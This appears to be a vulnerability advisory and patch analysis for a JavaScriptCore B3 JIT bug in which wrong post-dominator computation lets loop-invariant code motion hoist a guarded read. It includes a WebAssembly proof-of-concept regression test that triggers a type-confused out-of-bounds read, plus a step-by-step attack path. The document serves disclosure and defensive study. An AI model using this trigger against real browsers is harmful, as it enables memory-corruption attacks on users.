CVE-2026-65333
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: OpenAI Codex Security - Amy Burnett
Key insight. B3’s reverse CFG omitted exit-less back-edge sources from the synthetic root, so an exiting latch falsely post-dominated the loop header, letting LICM hoist a control-dependent read out of the loop; adding every latch as a reverse-root successor restores correct post-dominance.
Patch Details
diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+ (type $sink (struct (field i64)))
+ (type $probe
+ (struct
+ (field i64)
+ (field (ref $sink))
+ (field (ref $sink))
+ (field (ref $sink))))
+ (type $small
+ (struct
+ (field i64)
+ (field i64)
+ (field i64)
+ (field i64)))
+ (global $keep (mut i32) (i32.const 0))
+
+ (func (export "makeSink") (param $value i64) (result (ref $sink))
+ (struct.new $sink (local.get $value)))
+
+ (func (export "makeProbe")
+ (param $value i64)
+ (param $sink (ref $sink))
+ (result (ref $probe))
+ (struct.new $probe
+ (local.get $value)
+ (local.get $sink)
+ (local.get $sink)
+ (local.get $sink)))
+
+ (func (export "makeSmall") (result (ref $small))
+ (struct.new $small
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)))
+
+ (func (export "readAfterCast")
+ (param $source anyref)
+ (param $valid (ref $sink))
+ (param $bit i64)
+ (param $forceBit i32)
+ (param $useLoaded i32)
+ (param $lateLoop i32)
+ (result i64)
+ (local $probeLocal (ref $probe))
+ (loop $loop (result i64)
+ (block $castSucceeded (result (ref $probe))
+ (br_on_cast $castSucceeded
+ (ref null any)
+ (ref $probe)
+ (local.get $source))
+ (global.set $keep (i32.const 1))
+ (br $loop))
+ (local.set $probeLocal)
+
+ (struct.get $probe 2 (local.get $probeLocal))
+ (struct.get $probe 3 (local.get $probeLocal))
+ (struct.get $probe 2 (local.get $probeLocal))
+ (local.get $valid)
+ (struct.get $probe 1 (local.get $probeLocal))
+ (struct.get $sink 0)
+ (local.get $bit)
+ i64.shr_u
+ i32.wrap_i64
+ i32.const 1
+ i32.and
+ (local.get $forceBit)
+ (local.get $useLoaded)
+ (select (result i32))
+ i32.eqz
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ i64.const 1
+ i64.and
+ i32.wrap_i64
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+ new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+ readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+ $.agent.sleep(10); // 10 ms
+ quit();
+`);
+
+try {
+ readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+ throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+ throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}
diff --git a/Source/JavaScriptCore/b3/B3Procedure.h b/Source/JavaScriptCore/b3/B3Procedure.h
index 34146786d868..e25a2ef198c7 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.h
+++ b/Source/JavaScriptCore/b3/B3Procedure.h
@@ -201,7 +201,7 @@ public:
Dominators& dominators();
JS_EXPORT_PRIVATE NaturalLoops& naturalLoops();
BackwardsCFG& backwardsCFG();
- BackwardsDominators& backwardsDominators();
+ JS_EXPORT_PRIVATE BackwardsDominators& backwardsDominators();
void addFastConstant(const ValueKey&);
bool NODELETE isFastConstant(const ValueKey&);
diff --git a/Source/JavaScriptCore/b3/testb3.h b/Source/JavaScriptCore/b3/testb3.h
index 1db3114220f6..cce642296502 100644
--- a/Source/JavaScriptCore/b3/testb3.h
+++ b/Source/JavaScriptCore/b3/testb3.h
@@ -1292,6 +1292,7 @@ void testShuffleDoesntTrashCalleeSaves();
void testDemotePatchpointTerminal();
void testReportUsedRegistersLateUseFollowedByEarlyDefDoesNotMarkUseAsDead();
void testInfiniteLoopDoesntCauseBadHoisting();
+void testBackwardsDominatorsWithMultipleBackEdges();
void testDivImmArgFloat(float, float);
void testDivImmsFloat(float, float);
void testModArgDouble(double);
diff --git a/Source/JavaScriptCore/b3/testb3_1.cpp b/Source/JavaScriptCore/b3/testb3_1.cpp
index fe1d75ae50c2..bc038f769ecf 100644
--- a/Source/JavaScriptCore/b3/testb3_1.cpp
+++ b/Source/JavaScriptCore/b3/testb3_1.cpp
@@ -1190,6 +1190,7 @@ void run(const TestConfig* config)
RUN(testLoopWithMultipleHeaderEdges());
RUN(testInfiniteLoopDoesntCauseBadHoisting());
+ RUN(testBackwardsDominatorsWithMultipleBackEdges());
RUN(testFloatMaxMin());
RUN(testDoubleMaxMin());
diff --git a/Source/JavaScriptCore/b3/testb3_7.cpp b/Source/JavaScriptCore/b3/testb3_7.cpp
index dd6cad5ca71c..eded060da2be 100644
--- a/Source/JavaScriptCore/b3/testb3_7.cpp
+++ b/Source/JavaScriptCore/b3/testb3_7.cpp
@@ -25,6 +25,7 @@
#include "config.h"
#include "testb3.h"
+#include "B3BackwardsDominators.h"
#include <wtf/WasmSIMD128.h>
WTF_ALLOW_UNSAFE_BUFFER_USAGE_BEGIN
@@ -2309,6 +2310,70 @@ void testInfiniteLoopDoesntCauseBadHoisting()
invoke<void>(*code, static_cast<intptr_t>(55)); // Shouldn't crash dereferncing 55.
}
+void testBackwardsDominatorsWithMultipleBackEdges()
+{
+ // A loop whose header has two latches (back-edge sources), where only one
+ // of them also exits the loop:
+ //
+ // root --> header
+ // header --> success | failure (branch)
+ // success --> header (back edge) | exit (branch) // latch that can exit
+ // failure --> header (back edge) // latch with no exit
+ // exit --> Return // the only terminal
+ //
+ // `success` and `failure` are both back-edge sources. The `failure` latch
+ // has no exit of its own, so control that keeps taking it loops forever.
+ // BackwardsGraph treats that as a form of terminality: it computes
+ // post-dominators by reversing the CFG and giving the synthetic reverse
+ // root a successor for every terminal and every back-edge source.
+ //
+ // The property B3 LICM (and the control-equivalence consumers) rely on is
+ // the post-dominator relation: `success` must NOT post-dominate the header
+ // or the loop entry, because control can stay in the loop forever via the
+ // exit-less `failure` latch without ever reaching `success`. If `failure`
+ // is missing from the reverse root's successors, the header is reachable in
+ // the reverse CFG only through `success`, so `success` falsely
+ // post-dominates the header (and `root`) -- the false relationship that
+ // would let LICM hoist a control-dependent read out of the loop.
+ Procedure proc;
+ BasicBlock* root = proc.addBlock();
+ BasicBlock* header = proc.addBlock();
+ BasicBlock* success = proc.addBlock();
+ BasicBlock* failure = proc.addBlock();
+ BasicBlock* exit = proc.addBlock();
+ auto arguments = cCallArgumentValues<intptr_t>(proc, root);
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-65333 |
| Bugzilla | 317603 |
| Component | JSC |
| Bug Class | TypeConfusion |
| Severity | medium |
| Commit | 7d867192b7ab40a0… |
| Advisory | Apple Advisory |
Terminology
- Post-dominator / BackwardsGraph — B is a post-dominator of A if every path from A to program exit passes through B; B3 computes it by reversing the CFG with a synthetic root over all terminals and back-edge sources.
- Latch / back-edge source — A block that jumps back to a loop header; an exit-less latch lets control loop forever without reaching other latches.
- LICM — Loop-invariant code motion hoists computations out of loops; hoisting a control-dependent memory access is only safe if it truly post-dominates the loop entry.
Root Cause Analysis
This fixes a B3 post-dominator miscomputation that could let loop-invariant code motion (LICM) hoist a control-dependent memory access out of a loop. B3 computes post-dominators via BackwardsGraph, which reverses the CFG and gives a synthetic reverse root a successor for every terminal block AND every back-edge source (latch). The correctness of LICM (and other control-equivalence consumers) depends on the resulting post-dominator relation. Consider a loop whose header has two latches: ‘success’ (which can also exit the loop) and ‘failure’ (an exit-less latch that just jumps back to the header). Control can stay in the loop forever by repeatedly taking the exit-less ‘failure’ latch without ever reaching ‘success’. Therefore ‘success’ must NOT post-dominate the header or the loop entry. Pre-patch, if an exit-less back-edge source like ‘failure’ was omitted from the synthetic reverse root’s successors, then in the reversed CFG the header was reachable only through ‘success’, so ‘success’ FALSELY post-dominated the header (and the loop entry). B3 LICM would then treat a read guarded by the ‘success’ path as always-executed and hoist that control-dependent read out of the loop, so it runs unconditionally (even when control never legitimately reaches it) — an invalid/out-of-bounds read (bad hoisting). The fix ensures every back-edge source, including exit-less latches, is a successor of the synthetic reverse root in BackwardsGraph so post-dominance is computed correctly and LICM does not hoist the control-dependent access. The added B3 unit test (testBackwardsDominatorsWithMultipleBackEdges) builds exactly this two-latch loop and asserts ‘success’ does not post-dominate the header/root. (The source change is in B3’s BackwardsGraph/BackwardsDominators; this diff shows the authoritative test that documents the property, per its comment.)
Attack Path
1. Reach the B3/FTL JIT
Run JS that the FTL compiles through B3 with a loop shaped to have two latches, one of them exit-less.
2. Induce false post-dominance
The exit-less latch is omitted from the reverse-root successors, so an exiting latch falsely post-dominates the header.
3. Hoist a control-dependent read
LICM treats a guarded (control-dependent) memory access as always-executed and hoists it out of the loop.
4. Out-of-bounds read
The hoisted access runs unconditionally, performing an invalid/out-of-bounds read and crashing the WebContent process.
Impact Assessment
A JIT miscompilation in the WebContent process: incorrect post-dominance let LICM hoist a control-dependent (guarded) memory access so it executes unconditionally — an out-of-bounds/invalid read. The advisory rates it a crash; bad-hoisting bugs can be shaped into controlled OOB reads.
Audit Directions
Reverse-root successor set
Audit B3BackwardsGraph for which blocks seed the synthetic reverse root; every terminal and every back-edge source (including exit-less latches) must be included.
Control-equivalence consumers
Review LICM and other post-dominator/control-equivalence users for reliance on the post-dominator relation across irreducible/multi-latch loops.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
B3 BackwardsGraph / BackwardsDominators (reverse-root successors) |
Source/JavaScriptCore/b3/B3BackwardsGraph.h |
modified | Includes every back-edge source (including exit-less latches) as a successor of the synthetic reverse root so post-dominance is correct and LICM cannot falsely treat an exiting latch as post-dominating the header. (Fix location per the added test’s documentation.) |
testBackwardsDominatorsWithMultipleBackEdges |
Source/JavaScriptCore/b3/testb3_7.cpp |
added | Unit test building a two-latch loop (one latch exit-less) and asserting the exiting latch does not post-dominate the header/root. |
Files Changed
Source Files
Source/JavaScriptCore/b3/B3Procedure.hSource/WTF/wtf/BackwardsGraph.h
Test Files
JSTests/wasm/gc/backwards-graph-multi-backedge-licm.jsSource/JavaScriptCore/b3/testb3.hSource/JavaScriptCore/b3/testb3_1.cppSource/JavaScriptCore/b3/testb3_7.cpp
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
new file mode 100644
index 000000000000..b5c92115ab1d
--- /dev/null
+++ b/JSTests/wasm/gc/backwards-graph-multi-backedge-licm.js
@@ -0,0 +1,109 @@
+//@ runDefaultWasm("--useConcurrentJIT=0", "--thresholdForBBQOptimizeAfterWarmUp=0", "--thresholdForBBQOptimizeSoon=0", "--thresholdForOMGOptimizeAfterWarmUp=0", "--thresholdForOMGOptimizeSoon=0")
+
+load("wast.js", "caller relative");
+
+const moduleBytes = WebAssemblyText.encode(`
+(module
+ (type $sink (struct (field i64)))
+ (type $probe
+ (struct
+ (field i64)
+ (field (ref $sink))
+ (field (ref $sink))
+ (field (ref $sink))))
+ (type $small
+ (struct
+ (field i64)
+ (field i64)
+ (field i64)
+ (field i64)))
+ (global $keep (mut i32) (i32.const 0))
+
+ (func (export "makeSink") (param $value i64) (result (ref $sink))
+ (struct.new $sink (local.get $value)))
+
+ (func (export "makeProbe")
+ (param $value i64)
+ (param $sink (ref $sink))
+ (result (ref $probe))
+ (struct.new $probe
+ (local.get $value)
+ (local.get $sink)
+ (local.get $sink)
+ (local.get $sink)))
+
+ (func (export "makeSmall") (result (ref $small))
+ (struct.new $small
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)
+ (i64.const 0)))
+
+ (func (export "readAfterCast")
+ (param $source anyref)
+ (param $valid (ref $sink))
+ (param $bit i64)
+ (param $forceBit i32)
+ (param $useLoaded i32)
+ (param $lateLoop i32)
+ (result i64)
+ (local $probeLocal (ref $probe))
+ (loop $loop (result i64)
+ (block $castSucceeded (result (ref $probe))
+ (br_on_cast $castSucceeded
+ (ref null any)
+ (ref $probe)
+ (local.get $source))
+ (global.set $keep (i32.const 1))
+ (br $loop))
+ (local.set $probeLocal)
+
+ (struct.get $probe 2 (local.get $probeLocal))
+ (struct.get $probe 3 (local.get $probeLocal))
+ (struct.get $probe 2 (local.get $probeLocal))
+ (local.get $valid)
+ (struct.get $probe 1 (local.get $probeLocal))
+ (struct.get $sink 0)
+ (local.get $bit)
+ i64.shr_u
+ i32.wrap_i64
+ i32.const 1
+ i32.and
+ (local.get $forceBit)
+ (local.get $useLoaded)
+ (select (result i32))
+ i32.eqz
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ i64.const 1
+ i64.and
+ i32.wrap_i64
+ (select (result (ref $sink)))
+ (struct.get $sink 0)
+ (br_if $loop (local.get $lateLoop))))
+)
+`);
+
+const { makeProbe, makeSink, makeSmall, readAfterCast } =
+ new WebAssembly.Instance(new WebAssembly.Module(moduleBytes)).exports;
+const sink = makeSink(0x5152535455565758n);
+const probe = makeProbe(0x1111111111111111n, sink);
+
+for (let iteration = 0; iteration < 1000; ++iteration)
+ readAfterCast(probe, sink, 0n, 0, 1, 0);
+
+// Correct semantics: cast failure loops forever before any control-dependent
+// struct.get executes. OMG-compiled Wasm loops have no watchdog poll (rdar://103455312), so bound
+// the test by exiting from a helper thread once the main thread has had time to
+// reach the loop.
+$.agent.start(`
+ $.agent.sleep(10); // 10 ms
+ quit();
+`);
+
+try {
+ readAfterCast(makeSmall(), sink, 0n, 0, 1, 0);
+ throw new Error("readAfterCast on a failed cast should not return");
+} catch (e) {
+ throw new Error("B3 LICM hoisted control-dependent struct.get past br_on_cast: " + e);
+}